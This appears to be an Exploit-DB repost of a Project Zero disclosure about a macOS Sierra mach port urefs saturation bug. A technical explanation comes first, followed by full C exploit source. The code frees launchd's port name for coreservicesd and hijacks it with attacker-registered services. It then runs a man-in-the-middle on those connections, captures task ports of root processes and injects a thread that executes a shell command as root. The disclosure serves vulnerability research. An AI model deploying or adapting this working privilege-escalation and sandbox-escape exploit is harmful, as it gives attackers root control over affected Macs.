/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=959
Proofs of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/40957.zip
When sending and receiving mach messages from userspace there are two important kernel objects; ipc_entry and
ipc_object.
ipc_entry's are the per-process handles or names which a process uses to refer to a particular ipc_object.
ipc_object is the actual message queue (or kernel object) which the port refers to.
ipc_entrys have a pointer to the ipc_object they are a handle for along with the ie_bits field which contains
the urefs and capacility bits for this name/handle (whether this is a send right, receive right etc.)
struct ipc_entry {
struct ipc_object *ie_object;
ipc_entry_bits_t ie_bits;
mach_port_index_t ie_index;
union {
mach_port_index_t next; /* next in freelist, or... */
ipc_table_index_t request; /* dead name request notify */
} index;
};
#define IE_BITS_UREFS_MASK 0x0000ffff /* 16 bits of user-reference */
#define IE_BITS_UREFS(bits) ((bits) & IE_BITS_UREFS_MASK)
The low 16 bits of the ie_bits field are the user-reference (uref) count for this name.
Each time a new right is received by a process, if it already had a name for that right the kernel will
increment the urefs count. Userspace can also arbitrarily control this reference count via mach_port_mod_refs
and mach_port_deallocate. When the reference count hits 0 the entry is free'd and the name can be re-used to
name another right.
ipc_right_copyout is called when a right will be copied into a space (for example by sending a port right in a mach
message to another process.) Here's the code to handle the sending of a send right:
case MACH_MSG_TYPE_PORT_SEND:
assert(port->ip_srights > 0);
if (bits & MACH_PORT_TYPE_SEND) {
mach_port_urefs_t urefs = IE_BITS_UREFS(bits);
assert(port->ip_srights > 1);
assert(urefs > 0);
assert(urefs < MACH_PORT_UREFS_MAX);
if (urefs+1 == MACH_PORT_UREFS_MAX) {
if (overflow) {
/* leave urefs pegged to maximum */ <---- (1)
port->ip_srights--;
ip_unlock(port);
ip_release(port);
return KERN_SUCCESS;
}
ip_unlock(port);
return KERN_UREFS_OVERFLOW;
}
port->ip_srights--;
ip_unlock(port);
ip_release(port);
...
entry->ie_bits = (bits | MACH_PORT_TYPE_SEND) + 1; <---- (2)
ipc_entry_modified(space, name, entry);
break;
If copying this right into this space would cause that right's name's urefs count in that space to hit 0xffff
then (if overflow is true) we reach the code at (1) which claims in the comment that it will leave urefs pegged at maximum.
This branch doesn't increase the urefs but still returns KERN_SUCCESS. Almost all callers pass overflow=true.
The reason for this "pegging" was probably not to prevent the reference count from becoming incorrect but rather because
at (2) if the urefs count wasn't capped the reference count would overflow the 16-bit bitfield into the capability bits.
The issue is that the urefs count isn't "pegged" at all. I would expect "pegged" to mean that the urefs count will now stay at 0xfffe
and cannot be decremented - leaking the name and associated ipc_object but avoiding the possibilty of a name being over-released.
In fact all that the "peg" does is prevent the urefs count from exceeding 0xfffe; it doesn't prevent userspace from believing
it has more urefs than that (by eg making the copyout's fail.)
What does this actually mean?
Let's consider the behaviour of mach_msg_server or dispatch_mig_server. They receive mach service messages in a loop and if the message
they receieved didn't corrispond to the MIG schema they pass that received message to mach_msg_destroy. Here's the code where mach_msg_destroy
destroys an ool_ports_descriptor_t:
case MACH_MSG_OOL_PORTS_DESCRIPTOR : {
mach_port_t *ports;
mach_msg_ool_ports_descriptor_t *dsc;
mach_msg_type_number_t j;
/*
* Destroy port rights carried in the message
*/
dsc = &saddr->ool_ports;
ports = (mach_port_t *) dsc->address;
for (j = 0; j < dsc->count; j++, ports++) {
mach_msg_destroy_port(*ports, dsc->disposition); // calls mach_port_deallocate
}
...
This will call mach_port_deallocate for each ool_port name received.
If we send such a service a mach message with eg 0x20000 copies of the same port right as ool ports the ipc_entry for that name will actually only have
0xfffe urefs. After 0xfffe calls to mach_port_deallocate the urefs will hit 0 and the kernel will free the ipc_entry and mark that name as free. From this
point on the name can be re-used to name another right (for example by sending another message received on another thread) but the first thread will
still call mach_port_deallocate 0x10002 times on that name.
This leads to something like a use-after-deallocate of the mach port name - strictly a userspace bug (there's no kernel memory corruption etc here) but
caused by a kernel bug.
** Doing something interesting **
Here's one example of how this bug could be used to elevate privileges/escape from sandboxes:
All processes have send rights to the bootstrap server (launchd). When they wish to lookup a service they send messages to this port.
Process A and B run as the same user; A is sandboxed, B isn't. B implements a mach service and A has looked up a send right to the service vended by
B via launchd.
Process A builds a mach message with 0x10000 ool send rights to the bootstrap server and sends this message to B. B receives the message inside mach_msg_server
(or a similar function.) When the kernel copies out this message to process B it sees that B already has a name for the boostrap port so increments the urefs count
for that name for each ool port in the message - there are 0x10000 of those but the urefs count stops incrementing at 0xfffe (but the copy outs still succeed and
process B sees 0x10000 copies of the same name in the received ool ports descriptor.)
Process B sees that the message doesn't match its MIG schema and passes it to mach_msg_destroy, which calls mach_port_deallocate 0x10000 times, destroying the rights
carried in the ool ports; since the bootstrap_port name only has 0xfffe urefs after the 0xfffe'th mach_port_deallocate this actually frees the boostrap_port's
name in process B meaning that it can be reused to name another port right. The important thing to notice here is that process B still believes that the name names
a send right to launchd (and it will just read the name from the bootstrap_port global variable.)
Process A can then allocate new mach port receive rights and send another message containing send rights to these new ports to process B and try to get the old name
reused to name one of these send rights - now when process B tries to communicate with launchd it will instead be communicating with process A.
Turning this into code execution outside of the sandbox would depend on what you could transativly do by impersonating launchd in such a fashion but it's surely possible.
Another approach with a more clear path to code execution would be to replace the IOKit master device port using the same technique - there's then a short path to getting
the target's task port if it tries to open a new IOKit user client since it will pass its task port to io_service_open_extended.
** poc **
This PoC just demonstrates the ability to cause the boostrap port name to be freed in another process - this should be proof enough that there's a very serious bug here.
Use a kernel debugger and showtaskrights to see that sharingd's name for the bootstrap port has been freed but that in userspace the bootstrap_port global is still the old name.
I will work on a full exploit but it's a non-trivial task! Please reach out to me ASAP if you require any futher information about the impact of this bug.
Tested on MacOS Sierra 10.12 (16A323)
################################################################################
Exploit attached :)
The challenge to exploiting this bug is getting the exact same port name reused
in an interesting way.
This requires us to dig in a bit to exacly what a port name is, how they're allocated
and under what circumstances they'll be reused.
Mach ports are stored in a flat array of ipc_entrys:
struct ipc_entry {
struct ipc_object *ie_object;
ipc_entry_bits_t ie_bits;
mach_port_index_t ie_index;
union {
mach_port_index_t next; /* next in freelist, or... */
ipc_table_index_t request; /* dead name request notify */
} index;
};
mach port names are made up of two fields, the upper 24 bits are an index into the ipc_entrys table
and the lower 8 bits are a generation number. Each time an entry in the ipc_entrys table is reused
the generation number is incremented. There are 64 generations, so after an entry has been reallocated
64 times it will have the same generation number.
The generation number is checked in ipc_entry_lookup:
if (index < space->is_table_size) {
entry = &space->is_table[index];
if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) ||
IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE)
entry = IE_NULL;
}
here entry is the ipc_entry struct in the kernel and name is the user-supplied mach port name.
Entry allocation:
The ipc_entry table maintains a simple LIFO free list for entries; if this list is free the table will
be grown. The table is never shrunk.
Reliably looping mach port names:
To exploit this bug we need a primitive that allows us to loop a mach port's generation number around.
After triggering the urefs bug to free the target mach port name in the target process we immediately
send a message with N ool ports (with send rights) and no reply port. Since the target port was the most recently
freed it will be at the head of the freelist and will be reused to name the first of the ool ports
contained in the message (but with an incremented generation number.)
Since this message is not expected by the service (in this case we send an
invalid XPC request to launchd) it will get passed to mach_msg_destroy which will pass each of
the ports to mach_port_deallocate freeing them in the order in which they appear in the message. Since the
freed port was reused to name the first ool port it will be the first to be freed. This will push the name
N entries down the freelist.
We then send another 62 of these looper messages but with 2N ool ports. This has the effect of looping the generation
number of the target port around while leaving it in approximately the middle of the freelist. The next time the target entry
in the table is allocated it will have exactly the same mach port name as the original target right we
triggered the urefs bug on.
For this PoC I target the send right to com.apple.CoreServices.coreservicesd which launchd has.
I look up the coreservicesd service in launchd then use the urefs bug to free launchd's send right and use the
looper messages to spin the generation number round. I then register a large number of dummy services
with launchd so that one of them reuses the same mach port name as launchd thinks the coreservicesd service has.
Now when any process looks up com.apple.CoreServices.coreservicesd launchd will actually send them a send right
to one of my dummy services :)
I add all those dummy services to a portset and use that recieve right and the legitimate coreservicesd send right
I still have to MITM all these new connections to coreservicesd. I look up a few root services which send their
task ports to coreservices and grab these task ports in the mitm and start a new thread in the uid 0 process to run a shell command as root :)
The whole flow seems to work about 50% of the time.
*/
// ianbeer
// build: clang -o service_mitm service_mitm.c
#if 0
Exploit for the urefs saturation bug
The challenge to exploiting this bug is getting the exact same port name reused
in an interesting way.
This requires us to dig in a bit to exacly what a port name is, how they're allocated
and under what circumstances they'll be reused.
Mach ports are stored in a flat array of ipc_entrys:
struct ipc_entry {
struct ipc_object *ie_object;
ipc_entry_bits_t ie_bits;
mach_port_index_t ie_index;
union {
mach_port_index_t next; /* next in freelist, or... */
ipc_table_index_t request; /* dead name request notify */
} index;
};
mach port names are made up of two fields, the upper 24 bits are an index into the ipc_entrys table
and the lower 8 bits are a generation number. Each time an entry in the ipc_entrys table is reused
the generation number is incremented. There are 64 generations, so after an entry has been reallocated
64 times it will have the same generation number.
The generation number is checked in ipc_entry_lookup:
if (index < space->is_table_size) {
entry = &space->is_table[index];
if (IE_BITS_GEN(entry->ie_bits) != MACH_PORT_GEN(name) ||
IE_BITS_TYPE(entry->ie_bits) == MACH_PORT_TYPE_NONE)
entry = IE_NULL;
}
here entry is the ipc_entry struct in the kernel and name is the user-supplied mach port name.
Entry allocation:
The ipc_entry table maintains a simple LIFO free list for entries; if this list is free the table will
be grown. The table is never shrunk.
Reliably looping mach port names:
To exploit this bug we need a primitive that allows us to loop a mach port's generation number around.
After triggering the urefs bug to free the target mach port name in the target process we immediately
send a message with N ool ports (with send rights) and no reply port. Since the target port was the most recently
freed it will be at the head of the freelist and will be reused to name the first of the ool ports
contained in the message (but with an incremented generation number.)
Since this message is not expected by the service (in this case we send an
invalid XPC request to launchd) it will get passed to mach_msg_destroy which will pass each of
the ports to mach_port_deallocate freeing them in the order in which they appear in the message. Since the
freed port was reused to name the first ool port it will be the first to be freed. This will push the name
N entries down the freelist.
We then send another 62 of these looper messages but with 2N ool ports. This has the effect of looping the generation
number of the target port around while leaving it in approximately the middle of the freelist. The next time the target entry
in the table is allocated it will have exactly the same mach port name as the original target right we
triggered the urefs bug on.
For this PoC I target the send right to com.apple.CoreServices.coreservicesd which launchd has.
I look up the coreservicesd service in launchd then use the urefs bug to free launchd's send right and use the
looper messages to spin the generation number round. I then register a large number of dummy services
with launchd so that one of them reuses the same mach port name as launchd thinks the coreservicesd service has.
Now when any process looks up com.apple.CoreServices.coreservicesd launchd will actually send them a send right
to one of my dummy services :)
I add all those dummy services to a portset and use that recieve right and the legitimate coreservicesd send right
I still have to MITM all these new connections to coreservicesd. I look up a few root services which send their
task ports to coreservices and grab these task ports in the mitm and start a new thread in the uid 0 process to run a shell command as root :)
The whole flow seems to work about 50% of the time.
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <libproc.h>
#include <pthread.h>
#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
void run_command(mach_port_t target_task, char* command) {
kern_return_t err;
size_t command_length = strlen(command) + 1;
size_t command_page_length = ((command_length + 0xfff) >> 12) << 12;
command_page_length += 1; // for the stack
// allocate some memory in the task
mach_vm_address_t command_addr = 0;
err = mach_vm_allocate(target_task,
&command_addr,
command_page_length,
VM_FLAGS_ANYWHERE);
if (err != KERN_SUCCESS) {
printf("mach_vm_allocate: %s\n", mach_error_string(err));
return;
}
printf("allocated command at %llx\n", command_addr);
uint64_t bin_bash = command_addr;
uint64_t dash_c = command_addr + 0x10;
uint64_t cmd = command_addr + 0x20;
uint64_t argv = command_addr + 0x800;
uint64_t argv_contents[] = {bin_bash, dash_c, cmd, 0};
err = mach_vm_write(target_task,
bin_bash,
(mach_vm_offset_t)"/bin/bash",
strlen("/bin/bash") + 1);
err = mach_vm_write(target_task,
dash_c,
(mach_vm_offset_t)"-c",
strlen("-c") + 1);
err = mach_vm_write(target_task,
cmd,
(mach_vm_offset_t)command,
strlen(command) + 1);
err = mach_vm_write(target_task,
argv,
(mach_vm_offset_t)argv_contents,
sizeof(argv_contents));
if (err != KERN_SUCCESS) {
printf("mach_vm_write: %s\n", mach_error_string(err));
return;
}
// create a new thread:
mach_port_t new_thread = MACH_PORT_NULL;
x86_thread_state64_t state;
mach_msg_type_number_t stateCount = x86_THREAD_STATE64_COUNT;
memset(&state, 0, sizeof(state));
// the minimal register state we require:
state.__rip = (uint64_t)execve;
state.__rdi = (uint64_t)bin_bash;
state.__rsi = (uint64_t)argv;
state.__rdx = (uint64_t)0;
err = thread_create_running(target_task,
x86_THREAD_STATE64,
(thread_state_t)&state,
stateCount,
&new_thread);
if (err != KERN_SUCCESS) {
printf("thread_create_running: %s\n", mach_error_string(err));
return;
}
printf("done?\n");
}
mach_port_t lookup(char* name) {
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, name, &service_port);
if(err != KERN_SUCCESS){
printf("unable to look up %s\n", name);
return MACH_PORT_NULL;
}
if (service_port == MACH_PORT_NULL) {
printf("bad service port\n");
return MACH_PORT_NULL;
}
return service_port;
}
/*
host_service is the service which is hosting the port we want to free (eg the bootstrap port)
target_port is a send-right to the port we want to get free'd in the host service (eg another service port in launchd)
*/
struct ool_msg {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_ports_descriptor_t ool_ports;
};
// this msgh_id is an XPC message
uint32_t msgh_id_to_get_destroyed = 0x10000000;
void do_free(mach_port_t host_service, mach_port_t target_port) {
kern_return_t err;
int port_count = 0x10000;
mach_port_t* ports = malloc(port_count * sizeof(mach_port_t));
for (int i = 0; i < port_count; i++) {
ports[i] = target_port;
}
// build the message to free the target port name
struct ool_msg* free_msg = malloc(sizeof(struct ool_msg));
memset(free_msg, 0, sizeof(struct ool_msg));
free_msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
free_msg->hdr.msgh_size = sizeof(struct ool_msg);
free_msg->hdr.msgh_remote_port = host_service;
free_msg->hdr.msgh_local_port = MACH_PORT_NULL;
free_msg->hdr.msgh_id = msgh_id_to_get_destroyed;
free_msg->body.msgh_descriptor_count = 1;
free_msg->ool_ports.address = ports;
free_msg->ool_ports.count = port_count;
free_msg->ool_ports.deallocate = 0;
free_msg->ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
free_msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
free_msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
// send the free message
err = mach_msg(&free_msg->hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(struct ool_msg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
printf("free message: %s\n", mach_error_string(err));
}
void send_looper(mach_port_t service, mach_port_t* ports, uint32_t n_ports, int disposition) {
kern_return_t err;
struct ool_msg msg = {0};
msg.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service;
msg.hdr.msgh_local_port = MACH_PORT_NULL;
msg.hdr.msgh_id = msgh_id_to_get_destroyed;
msg.body.msgh_descriptor_count = 1;
msg.ool_ports.address = (void*)ports;
msg.ool_ports.count = n_ports;
msg.ool_ports.disposition = disposition;
msg.ool_ports.deallocate = 0;
msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(struct ool_msg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
printf("sending looper: %s\n", mach_error_string(err));
// need to wait a little bit since we don't send a reply port and don't want to fill the queue
usleep(100);
}
mach_port_right_t right_fixup(mach_port_right_t in) {
switch (in) {
case MACH_MSG_TYPE_PORT_SEND:
return MACH_MSG_TYPE_MOVE_SEND;
case MACH_MSG_TYPE_PORT_SEND_ONCE:
return MACH_MSG_TYPE_MOVE_SEND_ONCE;
case MACH_MSG_TYPE_PORT_RECEIVE:
return MACH_MSG_TYPE_MOVE_RECEIVE;
default:
return 0; // no rights
}
}
int ran_command = 0;
void inspect_port(mach_port_t port) {
pid_t pid = 0;
pid_for_task(port, &pid);
if (pid != 0) {
printf("got task port for pid: %d\n", pid);
}
// find the uid
int proc_err;
struct proc_bsdshortinfo info = {0};
proc_err = proc_pidinfo(pid, PROC_PIDT_SHORTBSDINFO, 0, &info, sizeof(info));
if (proc_err <= 0) {
// fail
printf("proc_pidinfo failed\n");
return;
}
if (info.pbsi_uid == 0) {
printf("got r00t!! ******************\n");
printf("(via task port for: %s)\n", info.pbsi_comm);
if (!ran_command) {
run_command(port, "echo hello > /tmp/hello_from_root");
ran_command = 1;
}
}
return;
}
/*
implements the mitm
replacer_portset contains receive rights for all the ports we send to launchd
to replace the real service port
real_service_port is a send-right to the actual service
receive messages on replacer_portset, inspect them, then fix them up and send them along
to the real service
*/
void do_service_mitm(mach_port_t real_service_port, mach_port_t replacer_portset) {
size_t max_request_size = 0x10000;
mach_msg_header_t* request = malloc(max_request_size);
for(;;) {
memset(request, 0, max_request_size);
kern_return_t err = mach_msg(request,
MACH_RCV_MSG |
MACH_RCV_LARGE, // leave larger messages in the queue
0,
max_request_size,
replacer_portset,
0,
0);
if (err == MACH_RCV_TOO_LARGE) {
// bump up the buffer size
mach_msg_size_t new_size = request->msgh_size + 0x1000;
request = realloc(request, new_size);
// try to receive again
continue;
}
if (err != KERN_SUCCESS) {
printf("error receiving on port set: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
printf("got a request, fixing it up...\n");
// fix up the message such that it can be forwarded:
// get the rights we were sent for each port the header
mach_port_right_t remote = MACH_MSGH_BITS_REMOTE(request->msgh_bits);
mach_port_right_t voucher = MACH_MSGH_BITS_VOUCHER(request->msgh_bits);
// fixup the header ports:
// swap the remote port we received into the local port we'll forward
// this means we're only mitm'ing in one direction - we could also
// intercept these replies if necessary
request->msgh_local_port = request->msgh_remote_port;
request->msgh_remote_port = real_service_port;
// voucher port stays the same
int is_complex = MACH_MSGH_BITS_IS_COMPLEX(request->msgh_bits);
// (remote, local, voucher)
request->msgh_bits = MACH_MSGH_BITS_SET_PORTS(MACH_MSG_TYPE_COPY_SEND, right_fixup(remote), right_fixup(voucher));
if (is_complex) {
request->msgh_bits |= MACH_MSGH_BITS_COMPLEX;
// if it's complex we also need to fixup all the descriptors...
mach_msg_body_t* body = (mach_msg_body_t*)(request+1);
mach_msg_type_descriptor_t* desc = (mach_msg_type_descriptor_t*)(body+1);
for (mach_msg_size_t i = 0; i < body->msgh_descriptor_count; i++) {
switch (desc->type) {
case MACH_MSG_PORT_DESCRIPTOR: {
mach_msg_port_descriptor_t* port_desc = (mach_msg_port_descriptor_t*)desc;
inspect_port(port_desc->name);
port_desc->disposition = right_fixup(port_desc->disposition);
desc = (mach_msg_type_descriptor_t*)(port_desc+1);
break;
}
case MACH_MSG_OOL_DESCRIPTOR: {
mach_msg_ool_descriptor_t* ool_desc = (mach_msg_ool_descriptor_t*)desc;
// make sure that deallocate is true; we don't want to keep this memory:
ool_desc->deallocate = 1;
desc = (mach_msg_type_descriptor_t*)(ool_desc+1);
break;
}
case MACH_MSG_OOL_VOLATILE_DESCRIPTOR:
case MACH_MSG_OOL_PORTS_DESCRIPTOR: {
mach_msg_ool_ports_descriptor_t* ool_ports_desc = (mach_msg_ool_ports_descriptor_t*)desc;
// make sure that deallocate is true:
ool_ports_desc->deallocate = 1;
ool_ports_desc->disposition = right_fixup(ool_ports_desc->disposition);
desc = (mach_msg_type_descriptor_t*)(ool_ports_desc+1);
break;
}
}
}
}
printf("fixed up request, forwarding it\n");
// forward the message:
err = mach_msg(request,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
request->msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("error forwarding service message: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
}
}
void lookup_and_ping_service(char* name) {
mach_port_t service_port = lookup(name);
if (service_port == MACH_PORT_NULL) {
printf("failed too lookup %s\n", name);
return;
}
// send a ping message to make sure the service actually gets launched:
kern_return_t err;
mach_msg_header_t basic_msg;
basic_msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
basic_msg.msgh_size = sizeof(basic_msg);
basic_msg.msgh_remote_port = service_port;
basic_msg.msgh_local_port = MACH_PORT_NULL;
basic_msg.msgh_reserved = 0;
basic_msg.msgh_id = 0x41414141;
err = mach_msg(&basic_msg,
MACH_SEND_MSG,
sizeof(basic_msg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
printf("failed to send ping message to service %s (err: %s)\n", name, mach_error_string(err));
return;
}
printf("pinged %s\n", name);
}
void* do_lookups(void* arg) {
lookup_and_ping_service("com.apple.storeaccountd");
lookup_and_ping_service("com.apple.hidfud");
lookup_and_ping_service("com.apple.netauth.sys.gui");
lookup_and_ping_service("com.apple.netauth.user.gui");
lookup_and_ping_service("com.apple.avbdeviced");
return NULL;
}
void start_root_lookups_thread() {
pthread_t thread;
pthread_create(&thread, NULL, do_lookups, NULL);
}
char* default_target_service_name = "com.apple.CoreServices.coreservicesd";
int main(int argc, char** argv) {
char* target_service_name = default_target_service_name;
if (argc > 1) {
target_service_name = argv[1];
}
// allocate the receive rights which we will try to replace the service with:
// (we'll also use them to loop the mach port name in the target)
size_t n_ports = 0x1000;
mach_port_t* ports = calloc(sizeof(void*), n_ports);
for (int i = 0; i < n_ports; i++) {
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
if (err != KERN_SUCCESS) {
printf("failed to allocate port: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
err = mach_port_insert_right(mach_task_self(),
ports[i],
ports[i],
MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
printf("failed to insert send right: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
}
// generate some service names we can use:
char** names = calloc(sizeof(char*), n_ports);
for (int i = 0; i < n_ports; i++) {
char name[64];
sprintf(name, "replacer.%d", i);
names[i] = strdup(name);
}
// lookup a send right to the target to be replaced
mach_port_t target_service = lookup(target_service_name);
// free the target in launchd
do_free(bootstrap_port, target_service);
// send one smaller looper message to push the free'd name down the free list:
send_looper(bootstrap_port, ports, 0x100, MACH_MSG_TYPE_MAKE_SEND);
// send the larger ones to loop the generation number whilst leaving the name in the middle of the long freelist
for (int i = 0; i < 62; i++) {
send_looper(bootstrap_port, ports, 0x200, MACH_MSG_TYPE_MAKE_SEND);
}
// now that the name should have looped round (and still be near the middle of the freelist
// try to replace it by registering a lot of new services
for (int i = 0; i < n_ports; i++) {
kern_return_t err = bootstrap_register(bootstrap_port, names[i], ports[i]);
if (err != KERN_SUCCESS) {
printf("failed to register service %d, continuing anyway...\n", i);
}
}
// add all those receive rights to a port set:
mach_port_t ps;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_PORT_SET, &ps);
for (int i = 0; i < n_ports; i++) {
mach_port_move_member(mach_task_self(), ports[i], ps);
}
start_root_lookups_thread();
do_service_mitm(target_service, ps);
return 0;
}